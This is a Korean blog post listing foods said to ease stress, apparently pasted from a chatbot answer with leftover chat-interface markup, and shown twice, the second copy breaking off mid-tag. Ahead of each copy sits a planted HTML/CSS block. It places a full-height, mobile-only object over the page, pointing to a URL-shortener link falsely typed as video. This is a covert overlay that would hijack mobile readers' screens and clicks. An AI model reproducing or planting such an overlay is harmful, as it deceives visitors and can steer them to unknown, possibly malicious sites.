스트레스 해소법 효능 및 증상 좋은 음식

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:39">스트레스 해소에 도움을 주는 음식: 건강한 몸과 마음을 위한 선택</h2><p data-sourcepos="3:1-3:140">스트레스는 현대인이라면 누구나 겪는 일상적인 감정입니다. 하지만 만성적인 스트레스는 건강에 악영향을 미칠 수 있죠. 다행히도, 음식을 통해 스트레스를 관리하고 건강을 증진할 수 있습니다. 어떤 음식들이 스트레스 해소에 도움이 되는지 자세히 알아볼까요?</p><h3 data-sourcepos="5:1-5:25">스트레스 해소에 좋은 음식 종류와 효능</h3><p data-sourcepos="7:1-7:11"><strong>1. 견과류:</strong></p><ul data-sourcepos="9:1-11:0"> <li data-sourcepos="9:1-9:117"><strong>효능:</strong> 견과류에 풍부한 마그네슘은 스트레스 호르몬인 코르티솔 분비를 억제하고, 신경 안정에 도움을 줍니다. 아몬드, 캐슈넛, 호두 등 다양한 종류의 견과류를 섭취하여 마그네슘을 충분히 보충해 주세요.</li> <li data-sourcepos="10:1-11:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="견과류 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcRNxVLMXBTJGfUtYWmGYrluhJkDDZaeUjGycgg4KVCp5dkefl5wi8rrWI23095D"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 </div></div></single-image></response-element></div></span></li> </ul><p data-sourcepos="12:1-12:14"><strong>2. 녹색 잎채소:</strong></p><ul data-sourcepos="14:1-16:0"> <li data-sourcepos="14:1-14:103"><strong>효능:</strong> 시금치, 케일 등 녹색 잎채소에는 비타민과 미네랄이 풍부하게 함유되어 있어 스트레스로 인해 부족해진 영양소를 보충해 줍니다. 특히 엽산은 우울증 예방에도 효과적입니다.</li> <li data-sourcepos="15:1-16:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kormedi.com/1689257/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="녹색 잎채소 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcS-xjVFvbCySr8ajYusUN0MJRNZuB4cvcN1eZXgBFKov8ZY7MPvH7vnKs7It9DL"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1689257/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹색 잎채소 </div></div></single-image></response-element></div></span></li> </ul><p data-sourcepos="17:1-17:10"><strong>3. 연어:</strong></p><ul data-sourcepos="19:1-21:0"> <li data-sourcepos="19:1-19:71"><strong>효능:</strong> 연어에 풍부한 오메가-3 지방산은 뇌 기능을 향상시키고, 염증을 완화하여 스트레스를 줄이는 데 도움을 줍니다.</li> <li data-sourcepos="20:1-21:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.choroc.com/goods/WG027607"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="연어 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSHa_IJV3kjR1zlj5DN9lO-sIyvKSccgAjK-jMth5tHsvCusrZSlVy-HOvAlL_u"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://m.choroc.com/goods/WG027607" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcQ3p0XQFRTFZ0LuG52VafXpsufoIi1DN_08MXvA2OdEVT95t7kJiLXv9QI8Xae1X4GkYRTdZhidEY3hz7Bomp30Do32rQQc"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">m.choroc.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 </div></div></single-image></response-element></div></span></li> </ul><p data-sourcepos="22:1-22:14"><strong>4. 다크 초콜릿:</strong></p><ul data-sourcepos="24:1-26:0"> <li data-sourcepos="24:1-24:80"><strong>효능:</strong> 다크 초콜릿에 함유된 플라바놀 성분은 뇌의 엔도르핀 분비를 촉진하여 기분을 좋게 만들고, 스트레스를 완화하는 효과가 있습니다.</li> <li data-sourcepos="25:1-26:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%8B%A4%ED%81%AC%EC%B4%88%EC%BD%9C%EB%A6%BF"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="다크 초콜릿 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTqVmZU5BtyupiPD5EFlYVC8xq7aFu0ILUYP8BCn5BrlQVmLsLrfDrMfm8FhJRI"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%8B%A4%ED%81%AC%EC%B4%88%EC%BD%9C%EB%A6%BF" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 다크 초콜릿 </div></div></single-image></response-element></div></span></li> </ul><p data-sourcepos="27:1-27:11"><strong>5. 바나나:</strong></p><ul data-sourcepos="29:1-31:0"> <li data-sourcepos="29:1-29:69"><strong>효능:</strong> 바나나에 함유된 트립토판은 세로토닌 합성을 촉진하여 안정감을 주고, 스트레스를 완화하는 데 도움을 줍니다.</li> <li data-sourcepos="30:1-31:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="바나나 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSyp_OHLD_jOtgWxMe8djlFJzpwzQWh6xiZPGj9R-bQiGEPy_RpbNqZm8SXB5NR"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 바나나 </div></div></single-image></response-element></div></span></li> </ul><p data-sourcepos="32:1-32:12"><strong>6. 요구르트:</strong></p><ul data-sourcepos="34:1-36:0"> <li data-sourcepos="34:1-34:70"><strong>효능:</strong> 요구르트에 함유된 프로바이오틱스는 장 건강을 개선하고, 스트레스로 인한 불안감을 완화하는 데 도움을 줍니다.</li> <li data-sourcepos="35:1-36:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.kurly.com/goods/1000320733"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="요구르트 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcR92vK8-vloEb2xkQpTd1_zBsAo_9d-pd1u0plY39afoLAIhqn3uL3mQ6ggBpQf"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.kurly.com/goods/1000320733" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSTdBAN7WRYjNyOcUbUBGqmsMtOaI3jTUlITMftIlQCokEXDEgNnccqLmEbAAWX4bhBLHp3e1U8hxe-XPookJ1v82oDPaduhw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.kurly.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 요구르트 </div></div></single-image></response-element></div></span></li> </ul><h3 data-sourcepos="37:1-37:28">스트레스 해소에 좋은 음식 섭취 시 주의사항</h3><ul data-sourcepos="39:1-42:0"> <li data-sourcepos="39:1-39:71"><strong>균형 잡힌 식단:</strong> 특정 음식만을 과도하게 섭취하기보다는 다양한 식품을 골고루 섭취하여 영양 불균형을 예방해야 합니다.</li> <li data-sourcepos="40:1-40:89"><strong>개인별 맞춤 영양:</strong> 개인의 건강 상태와 체질에 따라 적합한 음식이 다를 수 있으므로, 전문가와 상담하여 자신에게 맞는 식단을 구성하는 것이 좋습니다.</li> <li data-sourcepos="41:1-42:0"><strong>꾸준한 운동:</strong> 음식 섭취와 함께 꾸준한 운동을 병행하면 스트레스 해소 효과를 더욱 높일 수 있습니다.</li> </ul><h3 data-sourcepos="43:1-43:29">스트레스 해소에 도움이 되는 음식 외에도...</h3><ul data-sourcepos="45:1-48:0"> <li data-sourcepos="45:1-45:34"><strong>충분한 수면:</strong> 숙면은 스트레스 해소에 필수적입니다.</li> <li data-sourcepos="46:1-46:44"><strong>규칙적인 생활:</strong> 규칙적인 생활 습관은 스트레스 관리에 도움이 됩니다.</li> <li data-sourcepos="47:1-48:0"><strong>스트레스 관리 기법 활용:</strong> 명상, 요가, 심호흡 등 다양한 스트레스 관리 기법을 활용해 보세요.</li> </ul><p data-sourcepos="49:1-49:33"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kormedi.com/1725470/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="스트레스 해소를 위한 다양한 방법 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcR51SoQhKPsR-nAnvk-ZoTaLVY6HCf_cXisSSLw5qzP8K6YMvhcBt0Clxx1wOEk"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1725470/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_73e79e83f427ce7f&quot;,&quot;c_6cc8ddea6fff40b8&quot;,null,&quot;rc_b623cf72a9105cdb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 스트레스 해소를 위한 다양한 방법 </div></div></single-image></response-element></div></span></p><p data-sourcepos="51:1-51:96"><strong>결론적으로,</strong> 음식은 스트레스 해소를 위한 중요한 도구입니다. 위에서 소개된 음식들을 꾸준히 섭취하고, 건강한 생활 습관을 유지하여 스트레스 없는 삶을 만들어나가세요.</p><p data-sourcepos="53:1-53:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="55:1-55:60"><strong>참고:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적용 방식이 다를 수 있습니다.</p><p data-sourcepos="57:1-57:76"><strong>키워드:</strong> 스트레스 해소, 스트레스 해소 음식, 건강, 영양, 식단, 견과류, 녹색 잎채소, 연어, 다크 초콜릿, 바나나, 요구르트</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:39">스트레스 해소에 도움을 주는 음식: 건강한 몸과 마음을 위한 선택</h2><p data-sourcepos="3:1-3:140">스트레스는 현대인이라면 누구나 겪는 일상적인 감정입니다. 하지만 만성적인 스트레스는 건강에 악영향을 미칠 수 있죠. 다행히도, 음식을 통해 스트레스를 관리하고 건강을 증진할 수 있습니다. 어떤 음식들이 스트레스 해소에 도움이 되는지 자세히 알아볼까요?</p><h3 data-sourcepos="5:1-5:25">스트레스 해소에 좋은 음식 종류와 효능</h3><p data-sourcepos="7:1-7:11"><strong>1. 견과류:</strong></p><ul data-sourcepos="9:1-11:0"> <li data-sourcepos="9:1-9:117"><strong>효능:</strong> 견과류에 풍부한 마그네슘은 스트레스 호르몬인 코르티솔 분비를 억제하고, 신경 안정에 도움을 줍니다. 아몬드, 캐슈넛, 호두 등 다양한 종류의 견과류를 섭취하여 마그네슘을 충분히 보충해 주세요.</li> <li data-sourcepos="10:1-11:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="견과류 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRNxVLMXBTJGfUtYWmGYrluhJkDDZaeUjGycgg4KVCp5dkefl5wi8rrWI23095D"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 </div></div></single-image></response-element></div></span></li> </ul><p data-sourcepos="12:1-12:14"><strong>2. 녹색 잎채소:</strong></p><ul data-sourcepos="14:1-16:0"> <li data-sourcepos="14:1-14:103"><strong>효능:</strong> 시금치, 케일 등 녹색 잎채소에는 비타민과 미네랄이 풍부하게 함유되어 있어 스트레스로 인해 부족해진 영양소를 보충해 줍니다. 특히 엽산은 우울증 예방에도 효과적입니다.</li> <li data-sourcepos="15:1-16:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kormedi.com/1689257/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="녹색 잎채소 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcS-xjVFvbCySr8ajYusUN0MJRNZuB4cvcN1eZXgBFKov8ZY7MPvH7vnKs7It9DL"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1689257/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹색 잎채소 </div></div></single-image></response-element></div></span></li> </ul><p data-sourcepos="17:1-17:10"><strong>3. 연어:</strong></p><ul data-sourcepos="19:1-21:0"> <li data-sourcepos="19:1-19:71"><strong>효능:</strong> 연어에 풍부한 오메가-3 지방산은 뇌 기능을 향상시키고, 염증을 완화하여 스트레스를 줄이는 데 도움을 줍니다.</li> <li data-sourcepos="20:1-21:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.choroc.com/goods/WG027607"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="연어 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSHa_IJV3kjR1zlj5DN9lO-sIyvKSccgAjK-jMth5tHsvCusrZSlVy-HOvAlL_u"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" 